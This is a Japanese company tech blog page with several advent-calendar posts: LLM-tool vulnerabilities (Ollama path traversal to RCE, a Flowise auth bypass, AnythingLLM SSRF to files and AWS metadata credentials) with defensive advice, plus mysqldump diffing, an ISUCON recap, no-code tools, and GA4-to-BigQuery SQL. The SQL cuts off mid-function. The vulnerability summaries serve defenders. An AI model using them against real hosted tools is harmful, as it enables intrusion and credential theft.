羅針盤 技術航海日誌

株式会社羅針盤の技術ブログです

2024年LLM周りで個人的に面白かった脆弱性3選

Security

この記事は羅針盤 アドベントカレンダー 2024の20日目の記事です。
qiita.com

19日目の記事は ... でした。

今回の記事はゲストの方の寄稿記事となります。またもやフリースタイル覆面女子レスラーの方からのありがたい寄稿です。

はじめに

世はまさに大LLM時代ですね。

2024年に入り、LLM（大規模言語モデル）の普及がさらに進み、エコシステムも拡大。多くの企業で活用が一般化している印象があります。

LLMのセキュリティに関するガイダンスとしてOWASP LLM Top 10が有名です。特にプロンプトインジェクションのような話題は、耳にする機会が増えたのではないでしょうか。また、LLMを活用したセキュリティのユースケースとして、脆弱性の自動発見やログ・アラートのトリアージなども注目されていると思います。

一方で、LLM特有の課題に加えて、従来のセキュリティリスクも引き続き重要なポイントになりそうです。今年、特に印象的だったのは、LLM開発を支えるツールやエコシステムにおける、LLM自体はそこまで関係のない、いわゆる「従来型」の脆弱性です。多くのOSSツールが目まぐるしく登場するなかで、それらのツールにおける深刻な脆弱性をちらほら見かけた印象です。

本記事ではこの軸で個人的に面白かった脆弱性3つをご紹介します。また、記事の最後にはどのような対策をすべきかも考えてみます。

LLMのエコシステムで個人的に注目した脆弱性3選

CVE-2024-37032 Ollamaのdigestの検証不備によるRCE (Probllama)

LLMモデルを自前でホスティングする際に利用されるOllamaの脆弱性です。

Ollama APIサーバのモデルをプルするAPIでは、プライベートレジストリからモデル(コンテナイメージ)を読み込めるようになっています。

本来、コンテナイメージのハッシュとダイジェスト値は一致するはずですが、ダイジェスト値をパストラバーサルのペイロードに書き換えたものを読み込ませることができ(修正前)、またダイジェスト値はモデルファイルをディスクに保存するためにも使われるため、任意のファイルを破損させることができたようです。

この問題を起点にして、任意のファイル読み込み、さらに任意コード実行まで到達できるものでした。

CVE-2024-31621 Flowiseの認証ミドルウェアのパス検証不備による認証回避

ローコードLLMアプリビルダーのFlowiseの脆弱性です。

Flowiseをホスティングする際、username/passwordによるアプリレベル認証をかけることが可能ですが、APIの認証ミドルウェアのパス検証ロジックが不十分なため、/api/v1/credentials などのAPIを認証なしで叩くことができました。

PoCがシンプルに一行なのがちょっと面白いですね。

さらにFlowiseには別のCVE-2024-36420という任意ファイル読み込み可能な脆弱性があるようで、こちらと合わせるとサーバ上の任意のファイルを未認証で読み取り可能かもしれません。

CVE-2024-0440, CVE-2024-0455 AnythingLLMのSSRF

プライベートなChatGPT(っぽいシステム)を構築できるAnythingLLMの脆弱性です。

Webスクレイパー機能がインスタンス内からリクエストを送る仕様となっており、CVE-2024-0440 では file:// スキームを使ってサーバー上の任意のファイル (/etc/passwd など) を読み込むことができました。

また、CVE-2024-0455 では、AWSのメタデータエンドポイントを呼び出すことができるため、インスタンスに付与された権限のIAMクレデンシャルを盗むことができました。

ただし、Webスクレイパー機能をいじるのに一定以上の権限が必要という条件はあるようです。

所感として、LLMにスクレイピング結果を読み込ませたいというのは一般的な欲求だと思うので、これ系の話は他のツールでも多く出てくる気がしています。

どう守っていくか？

以下ではこういった脆弱性のリスクを最小化するためにどのような手段を取れるか？を考えていきます。(ツールの開発者というよりも、ツールを所属会社での利用向けにホスティングし始めた方などを想定してます。)

パッチマネジメントはLLM関係のシステムでも引き続き大事

LLM関係なく、会社で利用するシステムのパッチを遅延なく当てるのは大前提になってきます。なんのツールをどこにホストしている、といった情報を整理・把握して、脆弱性とパッチ情報を確認して速やかに反映できる体制をつくりましょう。

(ただし、パッチがぜんぜんこないといったパターンもあるので、パッチだけしていても十分ではありません。例として、CVE-2024-31621は4/29に公開されたのち、修正バージョンの2.0.6がリリースされたのは8/28だったようです。)

OSSツールのみでホスティングせず、追加の認証や防御を行う

パッチが来るまでの期間を丸腰で過ごすのは怖いため、アクセスできる面をそもそも狭めておく、といった工夫は必ず行いたいです。無防備にインターネットに公開されてしまっていると、どこからかドメインを発見されてアクセスされたり、設定やツールによってはGoogleにインデックスされてしまうといったこともありえます。

こういったツールは組み込みの認証機能が存在しないものも多く、あったとしても十分でない(ID/PWのみ)、または認証機能そのものが脆弱である可能性も考えておき、追加の層を設けることが推奨されます。

AWS ALBであればCognitoや任意のOIDC準拠のIdPと連携することができたり、GCPであればIdentity-Aware-Proxyを用いるのがよいでしょう。(これらが使えない場合でも、IP制限かけるぐらいはしておくとはるかにマシになります)

(余裕があれば)アクセスを許可された内部からの攻撃のリスクも考えておく

前の項目で外部からの脅威はだいぶ考えなくて良くなるものの、内部でアクセス権を持っている人が悪意を持つ場合(あるいはその人の端末が侵害されたら攻撃者が)こういった脆弱性をパッチされるまでは利用できてしまうため、内部者をどこまでの範囲と捉えて提供していくか、も考慮のポイントとなるかもしれません。

数名〜規模の会社ではあまり気にするポイントではないかもしれませんが、大きめの会社で子会社・協力会社に公開する場合の範囲は考慮の必要があるかもしれませんし、ToBで顧客の企業にそのまま利用させるといった使い方がもしある場合には、インフラの分離度の設計などはややシビアに考慮したほうがよさそうです。

まとめ

2024年、個人的に気になったLLMエコシステムの脆弱性を紹介し、どうリスク低減するかも考えてみました。いかがだったでしょうか。従来的なセキュリティの視点も忘れずに、LLM活用を楽しんでいきましょう！！

mysqlを使ったシステムをリバースエンジニアリングするときのちょいハック

Tool

この記事は羅針盤 アドベントカレンダー 2024の18日目の記事です。
qiita.com

16日目の記事は https://compasscorp.hatenablog.com/entry/isucon-2024:ISUCON 2024奮闘記 でした。

株式会社羅針盤の成田です。

今回は、私がmysqldumpというコマンドを覚えてから十数年使い続けている、秘伝の奥義を紹介します。

システム開発で途中参加したり引き継いだ場合、まずリバースエンジニアリングして既存のシステムを読み解くところから始まると思います。

「この操作をしたら、DBはどう変わるのだろう？」

という疑問に挑み続けていく戦いが始まります。

コードを読み解くにしても、隠されたコードがないか不安になります。

メタプログラミングやら何やらで黒魔術を使われていた時には発狂しそうになります。

そんな時、とある操作の前後のDBの状態を持っておいて比較すれば全てが解決します。

差分を出すことで、変更されたテーブルはそこだけ、それ以上でもそれ以下でもないという事実が得られます。

また、自分が追加した実装が本当に意図した通りのDB変更をしているか確認したい時にも使えます。

奥義の説明

1. リストア用のdumpファイル作成

ここでは "現在のDBの状態" をdumpしてファイルに保存します。

とある操作を何回か繰り返したい時や、ちょっと操作手順を変えて試したい時に、いつでもリストア（操作前にタイムスリップ）できるようにしておきます。

2. 何かしらの操作を行う前の状態のスナップショットを作成

ここでも "現在のDBの状態" をdumpしてファイルに保存します。

--skip-extended-insert というオプションをつけて、INSERT文が1行ずつ出力されるようにしてdumpを作成します。

「1のdumpを使えばいいじゃないの？」と思いますが、skip-extended-insert をつけていない1のリストア用dumpファイルは

insert into hoge values (レコード1), (レコード2), (レコード3), ...

という感じで、複数レコードがまとめられてしまい後述する差分比較ができなくなるためです。

「じゃあ2のdumpファイルだけで良いんじゃないの？」とも思いますが、1行ずつのdumpファイルはリストアに時間がかかります。

量にもよりますが、何十倍もの時間差が出てきます。 少量のデータベースであればそれでも差し支えありません。

3. 何かしらの操作

ここでシステムを動かしてみます。 試してみたい操作をしてみましょう。

4. 何かしらの操作を行った後の状態のスナップショットを作成

2と同じくスナップショットを作成します。

5. 差分を見る

操作の前後のファイル同士を比較し、何のテーブルが更新されたのか確認します

6. リストア

ログを仕込んで再度試したいとか、パラメータを変えて操作を再度試したい時には1のファイルを使ってリストアをします。 何をするにも自由です。

だっていつでもあの頃に戻れるのだから。

奥義の実践

サンプルDB・テーブル作成

create database example_db;

create table reservations (
  id bigint auto_increment primary key,
  date datetime
);

1. リストア用のdumpファイル作成

mysqldump -h 127.0.0.1 -u xxx -pxxx example_db > example_db.2024-12-03.before-extended-insert.dump

2. 何かしらの操作を行う前の状態のスナップショットを作成

mysqldump -h 127.0.0.1 -u xxx -pxxx example_db --skip-extended-insert --skip-dump-date > example_db.2024-12-03.1.dump

3. 何かしらの操作

insert into reservations values(null, now());

（何かしらの操作した結果、reservationsテーブルにレコードが1つ追加されたという状況）

4. 何かしらの操作を行った後の状態のスナップショットを作成

mysqldump -h 127.0.0.1 -u xxx -pxxx example_db --skip-extended-insert --skip-dump-date > example_db.2024-12-03.2.dump

5. 差分を見る

diff example_db.2024-12-03.1.dump example_db.2024-12-03.2.dump

23c23
< ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
---
> ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;
29a30
> INSERT INTO `reservations` VALUES (1,'2024-12-03 03:09:38');

AUTO_INCREMENTの初期値の差分がノイズとなっていますが、まあ無視しましょう

6. リストア

mysql -h 127.0.0.1 -u xxx -pxxx example_db < example_db.2024-12-03.before-extended-insert.dump

ISUCON 2024奮闘記

Golang

この記事は羅針盤 アドベントカレンダー 2024の16日目の記事です。
qiita.com

15日目の記事は エンジニアレスでできるサイト改善！ノーコードツール活用術 - 羅針盤 技術航海日誌 でした。

今回は縁あってゲストの方に寄稿していただきました。
普段はAPEXでマスターランクを目指しつつ、隙間の時間でLINEで生理日予測を共有できるペアケアというサービスを運営している方です。 paircare.jp

はじめに

こんにちは。株式会社Entaleの後藤です。別会社1であるにもかかわらず、羅針盤さんのアドベントカレンダーに寄稿する機会をいただきましたので、精一杯書いていきます。

entale.jp

この記事では、今年参加したISUCON14の挑戦を振り返りながら、事前準備や当日の取り組み、反省点などをお話しします。

事前準備

ここ数年、ISUCONには1〜2人で参加することが多かったのですが、今年は3人チームでの挑戦となりました。本番1週間前にメンバーが集まり、初動のみ各自の役割を以下のように決めて準備を進めました。

  • アプリケーション担当

    • 提供されたドキュメントを読み込み、仕様を理解する
    • アプリケーションを実際に触って動作を把握する

  • デプロイツール担当

    • Git管理出来るようにする
    • Web アプリケーション、Nginx、MySQLを全サーバーに反映するスクリプトを作成する

  • 計測ツール担当

    • pproteinを導入する

事前の練習環境として、「ISUNARABE」を活用しました。このツールは非常に使いやすく、初動確認にも最適でした。

pproteinとは

pproteinを利用すると、アプリケーションとデータベースのボトルネックを可視化することが出来ます。ISUCONは計測が最も重要なので、事前準備で話して導入を決めました2。

これまでは alp, pt-query-digest, pprofをターミナルで見て結果をチャットに貼り付けていましたが、全員が好きなタイミングで全てのログを見ることが出来るようになるので、より改善に集中することが出来ます。

pprotein

本番当日

【9:40】公式配信視聴

オフラインで集合し、ISUCON公式ライブ配信を観覧。配信の最後に公開されるお題の動画は毎年クオリティが高くなっている気がします。テーマはライドシェアサービスということで、今年も非常にワクワクする内容でした。

【10:00】初動開始

事前準備通りに役割分担を進めます。私は計測ツール担当として、pprotein の導入を開始しました。 以下は、pprotein 用ハンドラーの実装例です。

import (
    "github.com/kaz/pprotein/integration"
)

mux.Handle("/debug/*", integration.NewDebugHandler())

【10:30】初回ベンチマーク実施

計測ツールとデプロイツールが整ったので、初回のベンチマークを実行します。この時点でのスコアは約1000点です。1台目のサーバーにログインし、top コマンドで負荷の高いプロセスを確認しました。

【11:00】インデックス対応

マニュアルやアプリケーションの確認を進める予定でしたが、データベースの負荷が非常に高かったため、まずはインデックス対応を最優先することにしました。pprotein に出力されたスロークエリを参考に、インデックスを追加していきました。

インデックス設計の際には、ChatGPTも活用しました。

質問: テーブルにこんなクエリがたくさん投げられてるんだけど、どんなインデックスを貼るべき？

# テーブル
CREATE TABLE chair_locations
(
  id         VARCHAR(26) NOT NULL,
  chair_id   VARCHAR(26) NOT NULL COMMENT '椅子ID',
  latitude   INTEGER     NOT NULL COMMENT '経度',
  longitude  INTEGER     NOT NULL COMMENT '緯度',
  created_at DATETIME(6) NOT NULL DEFAULT CURRENT_TIMESTAMP(6) COMMENT '登録日時',
  PRIMARY KEY (id)
)

# クエリ
SELECT * FROM chair_locations WHERE chair_id = 'S' ORDER BY created_at DESC LIMIT N

回答: この場合、クエリの効率化には以下のインデックスを設計すると良いでしょう。

CREATE INDEX idx_chair_id_created_at ON chair_locations(chair_id, created_at);

結果、スコアは約4000点になりました。

【11:30】データベースのサーバー分割

依然としてデータベース負荷が高いため、サーバーをアプリケーションとデータベースの分割対応を先に実施することにしました。以下の手順で対応を進めました。

  1. mysqld.cnfの修正
# bind-address=127.0.0.1
# mysqlx-bind-address=127.0.0.1
  1. ユーザー権限付与
CREATE USER `isucon`@`192.168.%` IDENTIFIED BY 'isucon';
GRANT ALL PRIVILEGES ON `isuride`.* TO `isucon`@`192.168.%`;
  1. pproteinのslowlog設定を修正
[
  {
    "Type": "slowlog",
    "Label": "mysql",
    "URL": "http://192.168.0.12:19000/debug/log/slowlog",
    "Duration": 60
  }
]
  1. 環境変数を更新してDBの接続先を変更
ISUCON_DB_HOST="192.168.0.12"

サーバー分割後にベンチマークを回したところ、通知関連のクリティカルエラーが発生しました。アプリケーションを理解しなければ修正不可能と判断して、一度切り戻し、全員でマニュアルを確認しました。

【12:00】アプリケーション仕様の把握

メンバーからアプリケーションの仕様を教わりながら、Goのコードを読み解きました。その結果、以下のポイントが改善点として浮上しました。

  • 椅子とライドのマッチング処理
  • 椅子・ライドに関連する通知

【12:30】マッチング処理の改善に挑戦

非同期バッチで動作するマッチング処理を同期処理に変えられないか模索しました。しかし、何をやってもベンチマークが通らない問題に直面します。ここに多くの時間を費やしましたが、成果が得られませんでした。

【14:30】データベースのサーバー分割（再）

データベースのサーバー分割に一度戻り、クリティカルエラーの原因が通知とマッチングの負荷であることを特定します。ポーリング間隔を調整して負荷を軽減した結果、スコアは約10,000点に到達しました。

【16:30】データベース調整

負荷の高いクエリ数を削減するため、sync.Map を利用したメモリキャッシュを実装していきました。また、データベースコネクションの設定を調整し、スコアは約15,000点に向上しました。

const maxConnsInt = 25
db.SetMaxOpenConns(maxConnsInt)
db.SetMaxIdleConns(maxConnsInt * 2)

【17:30】最終確認

pproteinやログの削除をしてから、設定ファイルでMySQL・Nginxの最適化を試みましたが、得点の大幅向上には至りませんでした。

振り返り

無事に再起動試験は突破して、最終スコアは14,947点となりました。

今年の問題も非常に良く設計されており、キャッシュやデータベースの単純な最適化ではなく、アプリケーションのシナリオに沿った改善が求められました。この点を足踏みしてしまいインフラの力技に頼ってしまったのが反省です。

来年はさらに改善のサイクルを回し、優勝を目指します。

  1. 株式会社Entaleと株式会社羅針盤は関連会社やグループ会社といった関係ではございません。中の人と仲が良いだけです。↩
  2. pproteinの導入はpprotein でボトルネックを探して ISUCON で優勝するを参考にさせていただきました。↩

エンジニアレスでできるサイト改善！ノーコードツール活用術

Tool

この記事は羅針盤 アドベントカレンダー 2024の15日目の記事です。
qiita.com

今回は隣の席のマーケチームからの寄稿になります。
おそらくStudioの回し者です。

こんにちは、羅針盤のマーケティングチームで日々雑務をこなしているササキと申します。

なぜか、テックチームのアドベントカレンダーに登場です。

簡単に経歴をご紹介させていただきます。

新卒でWeb制作会社のディレクター→マイナビでマーケティング・事業開発→物流スタートアップでマーケティング・事業開発→そして現在、羅針盤。

これまで、サイト関連の業務に関わってきた感じですが、技術的なことは書けないので、マーケティングチームで使っているノーコードツールの話をしようと思います。

ノーコードツールとの出会い

日々、データを眺めながら広告やサイトの改善を行っていますが、成果（リード数や商談数など）を出すためには、いかに素早く多くのアウトプットを世の中に出せるかが重要です。

ノーコードを使う前は、WordPressのようなCMSがなければ、ちょっとしたテキスト修正でもエンジニアに依頼し、半日〜2日ほどかかっていました。エンジニアの皆さんも他の作業があるので当然なのですが…。

誤った内容を掲載している時に修正してもらうのは最悪ですよね。マーケティングは急いでいるし、エンジニアはそれどころじゃないという、あの微妙な感覚…。

そんな双方のストレスを解消し、施策にスピード感を与えてくれたのがノーコードツールです。

最初に触ったのは、Yappli（ヤプリ）だったと思います。

yapp.li

アプリがコードなしで、感覚的にサクサク作れるのは画期的でしたね。

今、稲垣吾郎さんを起用しているんですね。

ノーコードツール実際どうなの？

転職してからはYappliを使う機会がなくなったのですが、数年後、Studioと出会います。

studio.design

当時勤務していたスタートアップの社長から「導入してみては？」と提案があったのですが、導入にあたり、3つの懸念点がありました。

  • 操作性
  • 表現の自由度
  • SEO

現在では、Studio愛が強い私ですが、導入当初はこれらの懸念点がありました。約4年使い続けてきての感想をお伝えします。

操作性

パーツを追加しながら感覚的にページを作ることができます。

HTMLに触ったことがあったり、PhotoshopやFigmaでデザインを作成した経験があれば、すぐにサイト構築が可能です。CMSも簡単に開発できます。

以下は、私が作成したページです。トップページの実装、デザイン込みで12時間くらいで完成しました。

www.compassstay.jp

日々の改善・修正もかなり迅速に行えるようになりました。

表現の自由度

非常に自由度が高いです。ウェブフォントも充実しており、アニメーション等も簡単に設定できます。

また、ツール自体が毎月アップデートされており、「以前はできなかったけど、今はできる」という表現が増えていく感じがあります。

毎年開催されている「STUDIO DESIGN AWARD」をご覧いただければ、その自由度の高さを実感していただけると思います。

designaward2023.studio.design

SEO

SEO関連でできること・できないことを簡単にまとめてみました。

※2024/12/15時点

＜できること＞

  • 各種タグの指定
  • TDの設定
  • 構造化マークアップ
  • サイトマップの生成
  • 301リダイレクト設定

＜できないこと＞

  • canonical設定

できることは意外と多いですが、最大の弱点は、LCP（Largest Contentful Paint）やFCP（First Contentful Paint）の改善に関してです…。

どうしてもStudioに依存する部分であり、ここが最大の弱点だと感じています。

とはいえ、Studioでオウンドメディアを運営したこともありますが、特に問題なく上位にランクインする記事を作成できました。

さいごに: サイト制作はノーコードツール一択！

ここまで簡単ではありますが、ノーコードツールについて書いてきました。

複雑な機能や大量の商品管理などを求めなければ、ノーコードツールはマーケティング部門の業務効率を劇的に向上させる可能性があります。

もし周りのマーケターがサイト管理でお困りでしたら、ぜひノーコードツールをすすめてみてください。

私の拙い文章を最後まで読んでいただき、ありがとうございました。

Google Analytics -> BigQuery -> Looker Studio のゴールデンルートを数時間で設定する

Tool

この記事は羅針盤 アドベントカレンダー 2024の13日目の記事です。
qiita.com

すみません、タイトルの「数時間で設定する」は釣りタイトルです。
（GA4→BQの設定で一日置かないとデータでてこない）

こんにちは、羅針盤の森川です。
最近は水出しコーヒーにハマってます。

今回はアクセス解析系の話です。 Google Analyticsを使っている方は多いというか現在人（IT人間）の必須ツールであり人権かなと思います。

ただGAのレポートって慣れてないと使いづらいですよね。
探索レポートも共有できるけどコピーして編集したり、なんかもどかしいです。
エンジニア的にはデータベースに対してSQLを実行できることが基本的人権であり、心理的安全性です。（クリックカチカチ〜）

そんな私に朗報！
GAデータはBQにデータ送れるし、Looker Studioで可視化すれば、微課金ユーザーとして生きていくことができます。 失われた権利と尊厳を取り戻す。

今回は既にGAの設定が済んでいる前提で記載しています。

Google Analytics → Google BigQuery

まずはGAデータをBQに転送保存する設定をします。 左下の設定（歯車アイコン）から「サービス間のリンク設定」内にある「BigQueryのリンク」を選択します。

そして右の「リンク」からBQへの転送設定をします。

BQプロジェクトは各自設定してもろて、イベントデータのエクスポートタイプの「毎日」だけチェックを入れておけばOKです。 Streamingやユーザーデータは必要に応じてチェックして送ってください。

設定が終わったらご飯を食べて、お風呂に入って、ゲームしてぐっすり寝て起きると、最初の日次データ転送が終わっているかと思います。
https://console.cloud.google.com/bigquery

（event_... が日次イベントデータ）

Google BigQuery : 集計テーブルの作成

BQにデータが転送されたのでこのままでも使えますが、
ローデータを毎回クエリするのは効率が悪いので、日次の集計データのテーブルを作ります。

幸いにして、BQ単体でスケジュールクエリ機能があるのでそれを使います。
たぶんAPIをEnabeしないと使えないのでEnablingしましょう。これであなたもEnabler。 https://console.cloud.google.com/apis/library/bigquerydatatransfer.googleapis.com

目的に分けて複数のテーブルを作りますが、 いくつか依存関係があるのでステップで以下の処理を実行します

    1. 事前準備
    2. [1-a] ローデータのネストされた型（配列型）をUNNESTしたり、補助カラムを追加したテーブルを作る
    1. 集計テーブル作成
    2. [2-b] 1-a のデータから日別でデータ集計したテーブルを作る（1行 = 1日の総計）
    3. [2-c] 1-a のデータから日別・ページパス別のユニークユーザー数を集計したテーブルを作る （1行 = 1URLの総計）
    4. [2-d] 1-a のデータを日別・ユーザー別でユニークにしたテーブルを作る（セッション単位からユーザー単位にする, 1行 = 1ユーザー）
    5. [2-e] 1-a のデータから日別・ユーザー別でのファネル通過率のテーブルを作る （1行 = 1ユーザー）
    1. ファネル通過率の日別集計テーブル作成
    2. [3-f] 2-e のデータを日別の平均・X日移動平均を集計したテーブルを作る （1行 = 1日の総計）

以降は具体的なSQLを用いて解説していきます。 analytics というデータセットをBQ上に作っていてそこにデータを貯めていく前提で話を進めます。

データセットの作成

まずは analytics というデータセットを作成します。
名前は適当に変えてください。

asia-northeast1 リージョンだと20%くらい料金が高いと思いますが、気になるならUSとかにしてください。

事前準備テーブルの作成 [1-a]

この事前テーブルが全ての起点になります。 元のGAのテーブルを以降のSQLで使いやすいように整形します。

/* config: 失敗していても取り込めるように4~1日前を期間指定しています */
CREATE TEMPORARY FUNCTION date_from() AS ( 4 );
CREATE TEMPORARY FUNCTION date_to() AS ( 1 );

/* tmp vars */
CREATE TEMPORARY FUNCTION cur_date() AS ( CURRENT_DATE("Asia/Tokyo") );
CREATE TEMPORARY FUNCTION date_YYYYMMDD(i INT64) AS ( FORMAT_DATE("%Y%m%d", DATE_SUB(cur_date(), INTERVAL i DAY)) );

WITH 
/* [_dest] 初回はこのテーブルは存在しないためコメントアウトしていますが、スケジュールクエリでは重複を防ぐためにアンコメントして使います */
/*
_dest AS (
  SELECT event_date FROM `analytics.ga4_raw`
  WHERE date_jst BETWEEN DATE_SUB(cur_date(), INTERVAL date_from() DAY) AND DATE_SUB(cur_date(), INTERVAL date_to() DAY)
  GROUP BY event_date
),
*/
/* [_raw1] GAのローデータを日時指定してます */
_raw1 AS (
  SELECT * FROM `analytics_123456789.events_*`  /* <- change here */
  WHERE _table_suffix BETWEEN date_YYYYMMDD(date_from()) AND date_YYYYMMDD(date_to())
  -- AND _table_suffix NOT IN (SELECT event_date FROM _dest)  /* 重複防止条件 */
),
/* [_raw2] _raw1に日付を追加したりUNNESTしたりしたデータ */
_raw2 AS (
SELECT 
  DATE(timestamp_micros(event_timestamp), 'Asia/Tokyo') as date_jst,
  TIMESTAMP_TRUNC(DATETIME(timestamp_micros(event_timestamp), 'Asia/Tokyo'), SECOND) as datetime_jst,
  FARM_FINGERPRINT(CONCAT(event_timestamp, event_name, user_pseudo_id)) as row_id,
  (SELECT CASE WHEN p.value.int_value IS NOT NULL THEN SAFE_CAST(p.value.int_value as string) ELSE null END FROM UNNEST(event_params) as p WHERE p.key = "ga_session_id") as ga_session_id,
  (SELECT CASE WHEN p.value.int_value IS NOT NULL THEN SAFE_CAST(p.value.int_value as INT64) ELSE null END FROM UNNEST(event_params) as p WHERE p.key = "ga_session_number") as ga_session_number,
  (SELECT CASE WHEN p.value.int_value IS NOT NULL THEN SAFE_CAST(p.value.int_value as INT64) ELSE null END FROM UNNEST(event_params) as p WHERE p.key = "engaged_session_event") as engaged_session_event,
  (SELECT CASE WHEN p.value.int_value IS NOT NULL THEN SAFE_CAST(p.value.int_value as INT64) ELSE null END FROM UNNEST(event_params) as p WHERE p.key = "engagement_time_msec") as engagement_time_msec,
  (SELECT CASE WHEN p.value.int_value IS NOT NULL THEN SAFE_CAST(p.value.int_value as INT64) ELSE null END FROM UNNEST(event_params) as p WHERE p.key = "entrances") as entrances,
  (SELECT CASE WHEN p.value.string_value IS NOT NULL THEN SAFE_CAST(p.value.string_value as string) ELSE null END FROM UNNEST(event_params) as p WHERE p.key = "page_referrer") as page_referrer,
  (SELECT CASE WHEN p.value.string_value IS NOT NULL THEN SAFE_CAST(p.value.string_value as string) ELSE null END FROM UNNEST(event_params) as p WHERE p.key = "page_location") as page_location,
  (SELECT CASE WHEN p.value.string_value IS NOT NULL THEN SAFE_CAST(p.value.string_value as string) ELSE null END FROM UNNEST(event_params) as p WHERE p.key = "page_title") as page_title,
  (SELECT CASE WHEN p.value.string_value IS NOT NULL THEN SAFE_CAST(p.value.string_value as INT64) ELSE null END FROM UNNEST(event_params) as p WHERE p.key = "session_engaged") as session_engaged,
  *,
  FROM _raw1
),
/* [raw] _raw2に補助カラムを追加したもの */
raw AS (
SELECT
  row_id,
  date_jst,
  datetime_jst,
  CONCAT(user_pseudo_id, ga_session_id) as user_session_id,
  event_date,
  event_timestamp,
  event_name,
  event_previous_timestamp,
  event_value_in_usd,
  event_bundle_sequence_id,
  event_server_timestamp_offset,
  session_engaged,
  ga_session_id,
  ga_session_number,
  page_referrer,
  page_location,
  page_title,
  /* (1) */
  `change-your-common-project.get_path_from_url`(page_location) as page_path,
  `change-your-common-project.get_query_from_url`(page_location) as page_query,
  engaged_session_event,
  engagement_time_msec,
  engagement_time_msec / 1000 as engagement_time_sec,
  user_id,
  user_pseudo_id,
  privacy_info,
  user_first_touch_timestamp,
  user_ltv,
  device,
  geo,
  app_info,
  traffic_source,
  stream_id,
  platform,
  event_dimensions,
  ecommerce,
  items,
  collected_traffic_source,
  is_active_user,
  /* (1) */
  `change-your-common-project.common.channel_grouping`(LOWER(traffic_source.source), LOWER(traffic_source.medium), LOWER(traffic_source.name)) as channel_group,
  CASE WHEN event_name = 'page_view' THEN 1 ELSE 0 END as is_pv,
  CASE WHEN event_name = 'page_view' AND entrances = 1 THEN 1 ELSE 0 END as is_landing,
  CASE WHEN event_name = 'user_engagement' AND session_engaged = 1 THEN 1 ELSE 0 END as is_engaged,
  CASE WHEN event_name IN ('purchase', '決済完了') THEN 1 ELSE 0 END as is_cv, /* <- change here */
FROM _raw2
), 
/* [_stats1] 日別・ユーザー別のセッション数を集計した一時テーブル */
_stats1 AS (
SELECT 
  date_jst,
  COUNT(DISTINCT user_session_id) as stats_sessions,
  COUNT(DISTINCT CASE WHEN is_pv = 1 THEN user_session_id END) as stats_pv_sessions,
  COUNT(DISTINCT CASE WHEN session_engaged = 1 THEN user_session_id END) as stats_engaged_sessions,
FROM raw
GROUP BY date_jst 
),
/* [stats] 日別のセッション数とセッション種別割合を集計したテーブル（同一日であれば全て同じデータが入る） */
stats AS (
SELECT
  date_jst,
  stats_sessions,
  stats_engaged_sessions,
  stats_sessions - stats_engaged_sessions as stats_bounced_sessions,
  SAFE_DIVIDE(stats_engaged_sessions, stats_sessions) as stats_engagement_rate,
  SAFE_DIVIDE(stats_sessions - stats_engaged_sessions, stats_sessions) as stats_bounce_rate,
  SAFE_DIVIDE(stats_pv_sessions, stats_sessions) as stats_event_count_per_session,
FROM _stats1
),
/* [_engage1] 日別・ユーザー別のエンゲージメントを集計した一時テーブル */
_engage1 AS (
SELECT
  date_jst,
  user_session_id,
  SUM(CASE WHEN session_engaged = 1 THEN engagement_time_sec END) as session_engagement_time_sec,
FROM raw
GROUP BY date_jst, user_session_id
),
/* [engage] 日別のエンゲージメントと割合を集計したテーブル（同一日であれば全て同じデータが入る） */
engage AS (
SELECT 
  t1.date_jst,
  SAFE_DIVIDE(SUM(session_engagement_time_sec), MAX(stats_engaged_sessions)) as avg_engagement_time_sec,
FROM _engage1 t1
JOIN stats t2 ON t1.date_jst = t2.date_jst
GROUP BY t1.date_jst
),
/* [_sess1] 日別・ユーザー別のセッション時間を集計した一時テーブル */
_sess1 AS (
SELECT
  date_jst,
  user_session_id,
  (MAX(event_timestamp) - MIN(event_timestamp)) / 1000000 as session_length_in_sec,
FROM raw
GROUP BY date_jst, user_session_id
), 
/* [sess] 日別の平均セッション時間を集計したテーブル（同一日であれば全て同じデータが入る） */
sess AS (
SELECT
  date_jst,
  SAFE_DIVIDE(SUM(session_length_in_sec), COUNT(DISTINCT user_session_id)) as avg_session_duration_sec,
FROM _sess1
GROUP BY date_jst
),
/* [_views1] 日別・ユーザー別のPV数を集計した一時テーブル */
_views1 AS (
SELECT
  date_jst,
  user_session_id,
  SUM(CASE WHEN is_pv = 1 THEN 1 ELSE 0 END) as session_pv,
FROM raw
GROUP BY date_jst, user_session_id
), 
/* [viewscount] 日別のセッション辺りのPV数を集計したテーブル（同一日であれば全て同じデータが入る） */
viewscount AS (
SELECT
  date_jst,
  SAFE_DIVIDE(SUM(session_pv), COUNT(DISTINCT user_session_id)) as avg_views_per_session,
FROM _views1
GROUP BY date_jst
) 


/* 上記のテーブルを結合して必要なデータを取得 */
SELECT 
  raw.*,
  st.stats_sessions,
  st.stats_engaged_sessions,
  st.stats_bounced_sessions,
  st.stats_engagement_rate,
  st.stats_bounce_rate,
  st.stats_event_count_per_session,
  e.avg_engagement_time_sec,
  se.avg_session_duration_sec,
  v.avg_views_per_session,
FROM raw 
JOIN stats st ON st.date_jst = raw.date_jst 
JOIN engage e ON e.date_jst = raw.date_jst 
JOIN sess se ON se.date_jst = raw.date_jst 
JOIN viewscount v ON v.date_jst = raw.date_jst 
;

SQLに少しコメント入れているので内容はそこで確認してください。
(1) の箇所は永続関数を使っています。複数のGAプロジェクトで使い回せるように別の共通プロジェクトで定義しています。

channel_grouping はチャネル名を整形する関数です。

-- channel_grouping

CREATE OR REPLACE FUNCTION `change-your-common-project.channel_grouping`(tsource STRING, medium STRING, campaign STRING) AS (
CASE
        WHEN (tsource = 'direct' OR tsource = '(direct)' OR tsource IS NULL) 
            AND (regexp_contains(medium, r'^(\(not set\)|\(none\))$') OR medium IS NULL) 
            THEN 'direct'
        WHEN regexp_contains(campaign, r'^(.*(([^a-df-z]|^)shop|shopping).*)$') 
            AND regexp_contains(medium, r'^(.*cp.*|ppc|paid.*)$') 
            THEN 'paid_shopping'
        WHEN regexp_contains(tsource, r'^(google|yahoo|bing)$') 
            AND regexp_contains(medium, r'^(.*cp.*|ppc|paid.*)$') 
            THEN 'paid_search'
        WHEN regexp_contains(tsource, r'^(twitter|facebook|fb|instagram|ig|linkedin|pinterest)$')
            AND regexp_contains(medium, r'^(.*cp.*|ppc|paid.*|social_paid)$') 
            THEN 'paid_social'
        WHEN regexp_contains(tsource, r'^(youtube)$')
            AND regexp_contains(medium, r'^(.*cp.*|ppc|paid.*)$') 
            THEN 'paid_video'
